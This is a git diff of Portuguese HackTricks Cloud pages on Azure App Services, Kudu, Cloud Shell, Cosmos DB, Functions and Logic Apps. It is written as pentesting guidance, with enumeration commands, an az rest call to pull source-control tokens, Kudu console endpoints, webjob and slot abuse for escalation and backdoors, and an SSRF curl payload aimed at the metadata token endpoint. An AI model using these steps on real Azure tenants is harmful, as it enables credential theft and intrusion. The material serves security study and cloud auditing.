- **Mounts**: É possível criar 5 mounts a partir de contas de armazenamento, sendo estas Azure Blob (Somente Leitura) ou Azure Files. A configuração armazenará a chave de acesso sobre a Conta de Armazenamento.
|
||||||
|
|
||||||
## Autenticação Básica
|
## Autenticação Básica
|
||||||
|
|
||||||
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a **Autenticação Básica seja habilitada** (desabilitada por padrão). Isso basicamente **habilita SCM (Source Control Manager) e FTP (File Transfer Protocol)** para a aplicação, permitindo que a aplicação seja implantada usando essas tecnologias.
|
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a **Autenticação Básica seja habilitada** (desativada por padrão). Isso basicamente **habilita o SCM (Source Control Manager) e FTP (File Transfer Protocol)** para a aplicação, permitindo que a aplicação seja implantada usando essas tecnologias.
|
||||||
|
|
||||||
Para acessar os servidores SCM e FTP, é necessário um **nome de usuário e senha**. Portanto, o Azure fornece algumas **APIs para obter as URLs** para essas plataformas e as credenciais.
|
Para acessar os servidores SCM e FTP, é necessário um **nome de usuário e senha**. Portanto, o Azure fornece algumas **APIs para obter as URLs** para essas plataformas e as credenciais.
|
||||||
|
|
||||||
O **servidor FTP não tem nenhuma mágica especial**, apenas com a URL válida, nome de usuário e senha é possível conectar e obter permissões de leitura e gravação sobre o ambiente do App.
|
O **servidor FTP não tem nenhuma mágica especial**, apenas com a URL válida, nome de usuário e senha é possível conectar e obter permissões de leitura e gravação sobre o ambiente do App.
|
||||||
|
|
||||||
O SCM
|
O SCM
|
||||||
É possível conectar ao SCM usando um navegador web em `https://<SMC-URL>/BasicAuth` e verificar todos os arquivos e implantações lá.
|
É possível conectar ao SCM usando um navegador da web em `https://<SMC-URL>/BasicAuth` e verificar todos os arquivos e implantações lá.
|
||||||
|
|
||||||
### Kudu
|
### Kudu
|
||||||
|
|
||||||
Kudu é a plataforma que **gerencia tanto o SCM quanto uma interface web e API** para gerenciar um App Service, e fornece implantações baseadas em Git, depuração remota e capacidades de gerenciamento de arquivos. É acessível através da URL do SCM definida no aplicativo web.
|
Kudu é a plataforma que **gerencia tanto o SCM quanto uma interface web e API** para gerenciar um App Service, e fornece implantações baseadas em Git, depuração remota e capacidades de gerenciamento de arquivos. É acessível através da URL do SCM definida no aplicativo web.
|
||||||
|
|
||||||
Note que as versões do Kudu usadas pelos App Services e pelos Function Apps são diferentes, sendo a versão dos Function Apps muito mais limitada.
|
Observe que as versões do Kudu usadas pelos App Services e pelos Function Apps são diferentes, sendo a versão dos Function Apps muito mais limitada.
|
||||||
|
|
||||||
Alguns endpoints interessantes que você pode encontrar no Kudu são:
|
Alguns endpoints interessantes que você pode encontrar no Kudu são:
|
||||||
- `/BasicAuth`: Você precisa acessar este caminho para **fazer login no Kudu**.
|
- `/BasicAuth`: Você precisa acessar este caminho para **fazer login no Kudu**.
|
||||||
- `/DebugConsole`: Um console que permite executar comandos no ambiente onde o Kudu está sendo executado.
|
- `/DebugConsole`: Um console que permite executar comandos no ambiente onde o Kudu está sendo executado.
|
||||||
- Note que este ambiente **não tem acesso** ao serviço de metadados para obter tokens.
|
- Observe que este ambiente **não tem acesso** ao serviço de metadados para obter tokens.
|
||||||
- `/webssh/host`: Um cliente SSH baseado na web que permite conectar dentro do container onde o aplicativo está sendo executado.
|
- `/webssh/host`: Um cliente SSH baseado na web que permite conectar-se dentro do container onde o aplicativo está sendo executado.
|
||||||
- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas.
|
- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas.
|
||||||
- `/Env`: Obtenha informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
|
- `/Env`: Obtenha informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
|
||||||
- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui.
|
- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui.
|
||||||
|
|
||||||
Além disso, o Kudu costumava ser open source em [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), mas o projeto foi descontinuado e comparando o comportamento do Kudu atual no Azure com o antigo, é possível ver que **várias coisas já mudaram**.
|
Além disso, o Kudu costumava ser open source em [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), mas o projeto foi descontinuado e, comparando o comportamento do Kudu atual no Azure com o antigo, é possível ver que **várias coisas já mudaram**.
|
||||||
|
|
||||||
## Fontes
|
## Fontes
|
||||||
|
|
||||||
Os App Services permitem fazer upload do código como um arquivo zip por padrão, mas também permitem conectar a um serviço de terceiros e obter o código de lá.
|
Os App Services permitem fazer upload do código como um arquivo zip por padrão, mas também permitem conectar-se a um serviço de terceiros e obter o código de lá.
|
||||||
|
|
||||||
- As fontes de terceiros atualmente suportadas são **Github** e **Bitbucket**.
|
- As fontes de terceiros atualmente suportadas são **Github** e **Bitbucket**.
|
||||||
- Você pode obter os tokens de autenticação executando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
- Você pode obter os tokens de autenticação executando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||||
@@ -70,26 +70,26 @@ Os App Services permitem fazer upload do código como um arquivo zip por padrão
|
|||||||
|
|
||||||
## Webjobs
|
## Webjobs
|
||||||
|
|
||||||
Azure WebJobs são **tarefas em segundo plano que são executadas no ambiente do Azure App Service**. Eles permitem que os desenvolvedores executem scripts ou programas ao lado de suas aplicações web, facilitando o manuseio de operações assíncronas ou intensivas em tempo, como processamento de arquivos, manipulação de dados ou tarefas agendadas.
|
Os Azure WebJobs são **tarefas em segundo plano que são executadas no ambiente do Azure App Service**. Eles permitem que os desenvolvedores executem scripts ou programas ao lado de seus aplicativos web, facilitando o manuseio de operações assíncronas ou intensivas em tempo, como processamento de arquivos, manipulação de dados ou tarefas agendadas.
|
||||||
Existem 2 tipos de web jobs:
|
Existem 2 tipos de web jobs:
|
||||||
- **Contínuo**: Executa indefinidamente em um loop e é acionado assim que é criado. É ideal para tarefas que requerem processamento constante. No entanto, se o aplicativo parar de funcionar porque o Always On está desativado e não recebeu uma solicitação nos últimos 20 minutos, o web job também parará.
|
- **Contínuo**: Executa indefinidamente em um loop e é acionado assim que é criado. É ideal para tarefas que requerem processamento constante. No entanto, se o aplicativo parar de funcionar porque o Always On está desativado e não recebeu uma solicitação nos últimos 20 minutos, o web job também parará.
|
||||||
- **Acionado**: Executa sob demanda ou com base em um cronograma. É mais adequado para tarefas periódicas, como atualizações de dados em lote ou rotinas de manutenção.
|
- **Acionado**: Executa sob demanda ou com base em um cronograma. É mais adequado para tarefas periódicas, como atualizações de dados em lote ou rotinas de manutenção.
|
||||||
|
|
||||||
Webjobs são muito interessantes do ponto de vista de um atacante, pois podem ser usados para **executar código** no ambiente e **escalar privilégios** para as identidades gerenciadas anexadas.
|
Os webjobs são muito interessantes do ponto de vista de um atacante, pois podem ser usados para **executar código** no ambiente e **escalar privilégios** para as identidades gerenciadas anexadas.
|
||||||
|
|
||||||
Além disso, é sempre interessante verificar os **logs** gerados pelos Webjobs, pois podem conter **informações sensíveis**.
|
Além disso, é sempre interessante verificar os **logs** gerados pelos Webjobs, pois podem conter **informações sensíveis**.
|
||||||
|
|
||||||
## Slots
|
## Slots
|
||||||
|
|
||||||
Os Slots do Azure App Service são usados para **implantar diferentes versões da aplicação** no mesmo App Service. Isso permite que os desenvolvedores testem novos recursos ou alterações em um ambiente separado antes de implantá-los no ambiente de produção.
|
Os Azure App Service Slots são usados para **implantar diferentes versões do aplicativo** no mesmo App Service. Isso permite que os desenvolvedores testem novos recursos ou alterações em um ambiente separado antes de implantá-los no ambiente de produção.
|
||||||
|
|
||||||
Além disso, é possível direcionar uma **porcentagem do tráfego** para um slot específico, o que é útil para testes A/B e para **fins de backdoor**.
|
Além disso, é possível direcionar uma **porcentagem do tráfego** para um slot específico, o que é útil para testes A/B e para **fins de backdoor**.
|
||||||
|
|
||||||
## Azure Function Apps
|
## Azure Function Apps
|
||||||
|
|
||||||
Basicamente, **Azure Function apps são um subconjunto do Azure App Service** no console web e se você acessar o console web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os Function apps também listados lá**.
|
Basicamente, **os Azure Function apps são um subconjunto do Azure App Service** no console web e, se você acessar o console web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os Function apps também listados lá**.
|
||||||
|
|
||||||
Portanto, ambos os serviços têm na verdade principalmente as **mesmas configurações, recursos e opções no az cli**, embora possam configurá-los de maneira um pouco diferente (como valores padrão de appsettings ou o uso de uma Conta de Armazenamento nos Function apps).
|
Portanto, ambos os serviços têm, na verdade, principalmente as **mesmas configurações, recursos e opções no az cli**, embora possam configurá-los de maneira um pouco diferente (como valores padrão de appsettings ou o uso de uma Conta de Armazenamento nos Function apps).
|
||||||
|
|
||||||
## Enumeração
|
## Enumeração
|
||||||
|
|
||||||
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
|||||||
|
|
||||||
{{#tab name="Az Powershell" }}
|
{{#tab name="Az Powershell" }}
|
||||||
```bash
|
```bash
|
||||||
|
Get-Command -Module Az.Websites
|
||||||
|
|
||||||
# Get App Services and Function Apps
|
# Get App Services and Function Apps
|
||||||
Get-AzWebApp
|
Get-AzWebApp
|
||||||
# Get only App Services
|
# Get only App Services
|
||||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||||
|
|
||||||
|
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||||
|
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the access restriction configuration for a specified Web App.
|
||||||
|
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the SSL certificates for a specified resource group.
|
||||||
|
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||||
|
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||||
|
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||||
|
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||||
|
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||||
|
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||||
|
|
||||||
|
# Retrieves details of a deleted Web App in the specified resource group.
|
||||||
|
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves a list of snapshots for a specified Web App.
|
||||||
|
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||||
|
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves information about deployment slots for a specified Web App.
|
||||||
|
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||||
|
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||||
|
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||||
|
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||||
|
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||||
|
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||||
|
# Retrieves the continuous WebJobs for a Web App.
|
||||||
|
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||||
|
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||||
|
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||||
|
|
||||||
|
# Retrieves the traffic routing rules for a Web App.
|
||||||
|
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||||
|
|
||||||
|
# Retrieves details of a specific backup for a Web App.
|
||||||
|
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||||
|
# Retrieves the backup configuration for a Web App.
|
||||||
|
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
# Retrieves the list of all backups for a Web App.
|
||||||
|
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
@@ -229,7 +274,7 @@ done
|
|||||||
|
|
||||||
### Python a partir do local
|
### Python a partir do local
|
||||||
|
|
||||||
Este tutorial é baseado no de [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
Este tutorial é baseado no disponível em [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
||||||
```bash
|
```bash
|
||||||
# Clone repository
|
# Clone repository
|
||||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||||
|
|||||||
@@ -0,0 +1,58 @@
|
|||||||
|
# Az - Cloud Shell
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Azure Cloud Shell
|
||||||
|
|
||||||
|
**Azure Cloud Shell** é um terminal interativo, autenticado e acessível pelo navegador, projetado para gerenciar recursos do Azure, oferecendo a flexibilidade de trabalhar com Bash ou PowerShell. Ele é executado em um host temporário, por sessão, que expira após 20 minutos de inatividade, enquanto persiste arquivos na localização $HOME usando um compartilhamento de arquivos de 5 GB. O Cloud Shell pode ser acessado através de vários pontos, incluindo o portal do Azure, shell.azure.com, documentação do Azure CLI e PowerShell, o aplicativo móvel do Azure e a extensão Azure Account do Visual Studio Code.
|
||||||
|
|
||||||
|
Não há permissões atribuídas a este serviço, portanto, não há técnicas de escalonamento de privilégios. Também não há qualquer tipo de enumeração.
|
||||||
|
|
||||||
|
### Key Features
|
||||||
|
|
||||||
|
**Ambiente**: O Azure Cloud Shell fornece um ambiente seguro, executando no Azure Linux, a distribuição Linux própria da Microsoft projetada para infraestrutura de nuvem. Todos os pacotes incluídos no repositório do Azure Linux são compilados internamente pela Microsoft para proteger contra ataques à cadeia de suprimentos.
|
||||||
|
**Ferramentas pré-instaladas**: O Cloud Shell inclui um conjunto abrangente de ferramentas pré-instaladas, como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editores de texto como vim, nano e emacs. Essas ferramentas estão prontas para uso. Para listar os pacotes e módulos instalados, você pode usar "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
|
||||||
|
**Persistência $HOME**: Ao iniciar o Azure Cloud Shell pela primeira vez, você pode usá-lo com ou sem uma conta de armazenamento anexada. Optar por não anexar armazenamento cria uma sessão efêmera onde os arquivos são excluídos quando a sessão termina. Para persistir arquivos entre sessões, monte uma conta de armazenamento, que é anexada automaticamente como **$HOME\clouddrive**, com seu diretório **$HOME** salvo como um arquivo **.img** no Azure File Share. No entanto, arquivos fora de $HOME e estados de máquina não são persistidos. Para armazenar com segurança segredos como chaves SSH, use o Azure Key Vault.
|
||||||
|
**Drive Azure (Azure:)**: O PowerShell no Azure Cloud Shell inclui o drive Azure (Azure:), que permite a navegação fácil de recursos do Azure, como Computação, Rede e Armazenamento, usando comandos semelhantes a sistemas de arquivos. Mude para o drive Azure com cd Azure: e retorne ao seu diretório inicial com cd ~. Você ainda pode usar cmdlets do Azure PowerShell para gerenciar recursos de qualquer drive.
|
||||||
|
**Instalação de Ferramentas Personalizadas**: Usuários que configuram o Cloud Shell com uma conta de armazenamento podem instalar ferramentas adicionais que não requerem permissões de root. Esse recurso permite uma personalização adicional do ambiente do Cloud Shell, permitindo que os usuários ajustem sua configuração às suas necessidades específicas.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||||
|
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||||
|
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||||
|
|
||||||
|
|
||||||
|
## Persistence
|
||||||
|
|
||||||
|
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||||
|
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
|||||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||||
|
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|||||||
@@ -58,14 +58,14 @@ Em uma função **Windows** usando NodeJS, o código estava localizado em **`C:\
|
|||||||
|
|
||||||
Assim como [**VMs**](vms/index.html), Functions podem ter **Identidades Gerenciadas** de 2 tipos: Atribuídas pelo sistema e Atribuídas pelo usuário.
|
Assim como [**VMs**](vms/index.html), Functions podem ter **Identidades Gerenciadas** de 2 tipos: Atribuídas pelo sistema e Atribuídas pelo usuário.
|
||||||
|
|
||||||
A **atribuição pelo sistema** será uma identidade gerenciada que **apenas a função** que a possui atribuída poderá usar, enquanto as identidades gerenciadas **atribuidas pelo usuário** são identidades gerenciadas que **qualquer outro serviço Azure poderá usar**.
|
A **atribuição pelo sistema** será uma identidade gerenciada que **apenas a função** que a possui atribuída poderá usar, enquanto as identidades gerenciadas **atribuídas pelo usuário** são identidades gerenciadas que **qualquer outro serviço Azure poderá usar**.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Assim como em [**VMs**](vms/index.html), Functions podem ter **1 identidade gerenciada atribuída pelo sistema** e **várias atribuídas pelo usuário**, portanto, é sempre importante tentar encontrar todas elas se você comprometer a função, pois pode ser capaz de elevar privilégios para várias identidades gerenciadas a partir de apenas uma Função.
|
> Assim como em [**VMs**](vms/index.html), Functions podem ter **1 identidade gerenciada atribuída pelo sistema** e **várias atribuídas pelo usuário**, portanto, é sempre importante tentar encontrar todas elas se você comprometer a função, pois pode ser capaz de elevar privilégios para várias identidades gerenciadas a partir de apenas uma Função.
|
||||||
>
|
>
|
||||||
> Se uma identidade gerenciada pelo sistema não for usada, mas uma ou mais identidades gerenciadas pelo usuário estiverem anexadas a uma função, por padrão você não poderá obter nenhum token.
|
> Se uma identidade gerenciada pelo sistema não for usada, mas uma ou mais identidades gerenciadas pelo usuário estiverem anexadas a uma função, por padrão você não poderá obter nenhum token.
|
||||||
|
|
||||||
É possível usar os [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) para obter tokens da identidade gerenciada padrão a partir do endpoint de metadados. Ou você pode obtê-los **manualmente** como explicado em:
|
É possível usar os [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) para obter tokens da identidade gerenciada padrão a partir do endpoint de metadados. Ou você pode obtê-los **manualmente** conforme explicado em:
|
||||||
|
|
||||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||||
|
|
||||||
@@ -79,8 +79,8 @@ Note que você precisa descobrir uma maneira de **verificar todas as Identidades
|
|||||||
Ao criar um endpoint dentro de uma função usando um **gatilho HTTP**, é possível indicar o **nível de autorização da chave de acesso** necessário para acionar a função. Três opções estão disponíveis:
|
Ao criar um endpoint dentro de uma função usando um **gatilho HTTP**, é possível indicar o **nível de autorização da chave de acesso** necessário para acionar a função. Três opções estão disponíveis:
|
||||||
|
|
||||||
- **ANONYMOUS**: **Todos** podem acessar a função pela URL.
|
- **ANONYMOUS**: **Todos** podem acessar a função pela URL.
|
||||||
- **FUNCTION**: O endpoint é acessível apenas para usuários usando uma **chave de função, host ou mestre**.
|
- **FUNCTION**: O endpoint é acessível apenas a usuários usando uma **chave de função, host ou mestre**.
|
||||||
- **ADMIN**: O endpoint é acessível apenas para usuários com uma **chave mestre**.
|
- **ADMIN**: O endpoint é acessível apenas a usuários com uma **chave mestre**.
|
||||||
|
|
||||||
**Tipo de chaves:**
|
**Tipo de chaves:**
|
||||||
|
|
||||||
@@ -104,7 +104,7 @@ az-app-services.md
|
|||||||
|
|
||||||
### Implantações Baseadas em Github
|
### Implantações Baseadas em Github
|
||||||
|
|
||||||
Quando uma função é gerada a partir de um repositório Github, o console web do Azure permite **criar automaticamente um Workflow do Github em um repositório específico**, de modo que sempre que este repositório for atualizado, o código da função seja atualizado. Na verdade, o yaml da ação do Github para uma função python se parece com isso:
|
Quando uma função é gerada a partir de um repositório Github, o console web do Azure permite **criar automaticamente um Workflow do Github em um repositório específico**, de modo que sempre que este repositório for atualizado, o código da função seja atualizado. Na verdade, o yaml da ação do Github para uma função em python se parece com isso:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -204,6 +204,10 @@ Nem todos os planos permitem implantar contêineres, mas para aqueles que permit
|
|||||||
Além disso, **nenhum código-fonte será armazenado na conta de armazenamento** relacionada à função, pois não é necessário.
|
Além disso, **nenhum código-fonte será armazenado na conta de armazenamento** relacionada à função, pois não é necessário.
|
||||||
|
|
||||||
## Enumeração
|
## Enumeração
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="az cli" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# List all the functions
|
# List all the functions
|
||||||
az functionapp list
|
az functionapp list
|
||||||
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
|||||||
# Get source code
|
# Get source code
|
||||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="Az PowerShell" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```powershell
|
||||||
|
Get-Command -Module Az.Functions
|
||||||
|
|
||||||
|
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||||
|
Get-AzFunctionApp -ResourceGroupName <String>
|
||||||
|
|
||||||
|
# Displays the regions where Azure Function Apps are available for deployment.
|
||||||
|
Get-AzFunctionAppAvailableLocation
|
||||||
|
|
||||||
|
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||||
|
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||||
|
|
||||||
|
# Retrieves the app settings for a specific Azure Function App.
|
||||||
|
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
## Escalação de Privilégios
|
## Escalação de Privilégios
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
|
|||||||
@@ -19,45 +19,271 @@ Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **am
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
ou verificar o código na seção "**Visualização do código da Logic App**".
|
ou verificar o código na seção "**Visualização do código do Logic App**".
|
||||||
|
|
||||||
### Proteção SSRF
|
### Proteção SSRF
|
||||||
|
|
||||||
Mesmo que você encontre a **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
|
Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
|
||||||
|
|
||||||
Por exemplo, algo como isso não retornará o token:
|
Por exemplo, algo como isso não retornará o token:
|
||||||
```bash
|
```bash
|
||||||
# The URL belongs to a Logic App vulenrable to SSRF
|
# The URL belongs to a Logic App vulenrable to SSRF
|
||||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
